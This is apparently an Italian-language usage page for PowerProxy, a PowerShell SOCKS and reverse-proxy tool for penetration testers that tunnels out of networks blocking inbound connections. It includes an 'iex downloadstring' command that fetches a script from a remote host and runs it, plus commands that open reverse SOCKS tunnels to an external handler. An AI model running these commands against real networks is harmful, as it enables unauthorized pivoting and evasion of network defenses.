
Proxy SOCKS PowerShell con funzionalità di proxy inverso
PowerShell SOCKS proxy con capacità di reverse proxy.
PowerProxy è scritto pensando ai penetration tester. La funzionalità di reverse proxy è una priorità, per attraversare reti che bloccano le connessioni in entrata. Le connessioni reverse proxy sono crittografate per impostazione predefinita. L'autenticazione con nome utente/password è supportata per le connessioni Socks 5.
Importa lo script:
iex (new-object net.webclient).downloadstring("http://192.168.0.22/PowerProxy.ps1")
# OPPURE
Import-Module \\192.168.0.22\Public\PowerProxy.ps1
reverse_proxy_handler.py può creare certificati SSL temporanei, il che richiede OpenSSL. Se OpenSSL non è installato sulla tua macchina (lo è sulla maggior parte dei sistemi basati su Linux/Unix), fornisci il tuo certificato o usa l'opzione --no-encrypt.
Per un utilizzo dettagliato, consulta l'aiuto di PowerProxy, o usa ./reverse_proxy_handler.py --help
Sulla macchina locale, avvia l'handler:
# Ascolta per reverse proxy sulla porta 8080. I client si connettono alla porta 1080 (predefinita)
./reverse_proxy_handler.py -p 8080
In PowerShell:
Start-ReverseSocksProxy 172.1.1.20 -Port 8080
I client proxy possono trattare il server creato da reverse_proxy_handler.py come se fosse il server SOCKS reale:
curl --socks4 127.0.0.1:1080 http://10.10.2.69/
Start-SocksProxy 172.10.2.20 -Port 9050
Usa oggetti PSCredential per richiedere nome utente e password:
# Crea la credenziale
$Password = ConvertTo-SecureString -AsPlaintext -Force "Passw0rd123"
$Cred = New-Object System.Management.Automation.PSCredential ("ProxyUser", $Password)
Start-ReverseSocksProxy -Credential $Cred -Address 10.10.10.24 -Verbose